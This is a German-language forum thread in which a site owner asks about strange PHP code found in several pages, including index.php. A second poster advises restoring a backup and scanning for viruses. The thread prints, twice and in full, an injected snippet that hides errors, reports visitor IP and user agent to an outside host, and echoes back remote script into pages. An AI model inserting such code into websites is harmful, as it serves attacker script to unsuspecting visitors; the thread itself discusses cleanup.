Seltsamer Code

[Zwabato]

PHP Version 5.3.29

System SunOS localhost 5.10 Generic_142901-13 i86pc
Build Date Aug 20 2014 15:47:14

Ich in einigen PHP-Seiten diesen Code gefunden.

Code: Alles auswählen

?>
<?php
#9b11c2#
error_reporting(0); ini_set('display_errors',0); $wp_sgldq7 = @$_SERVER['HTTP_USER_AGENT'];

if (( preg_match ('/Gecko|MSIE/i', $wp_sgldq7) && !preg_match ('/bot/i', $wp_sgldq7))){

$wp_sgldq097="http://"."html"."string".".com/string"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_sgldq7);

$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_sgldq097);

curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_7sgldq = curl_exec ($ch); curl_close($ch);}

if ( substr($wp_7sgldq,1,3) === 'scr' ){ echo $wp_7sgldq; }
#/9b11c2#
?>

In der index.php steht das drin.

Code: Alles auswählen

?>
<?php
#170279#
error_reporting(0); ini_set('display_errors',0); $wp_sgldq7 = @$_SERVER['HTTP_USER_AGENT'];

if (( preg_match ('/Gecko|MSIE/i', $wp_sgldq7) && !preg_match ('/bot/i', $wp_sgldq7))){

$wp_sgldq097="http://"."html"."string".".com/string"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_sgldq7);

$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_sgldq097);

curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_7sgldq = curl_exec ($ch); curl_close($ch);}

if ( substr($wp_7sgldq,1,3) === 'scr' ){ echo $wp_7sgldq; }
#/170279#
?>

Wenn ich den entferne, kommen nur weisse Seiten.
Was ist das für ein Code? Kennt einer sowas?

[tas2580]

Schau mal: http://www.php.de/php-fortgeschrittene/ ... 1und1.html

Am besten du spielst ein sauberes Backup ein und untersuchst deinen Rechner mal auf Viren.

Gruß Tobi

[Zwabato]

Danke. Hab ich mir schon gedacht. Lag an Filezilla, den mein Kumpel benutzt hat. Nunja, habs geflickt...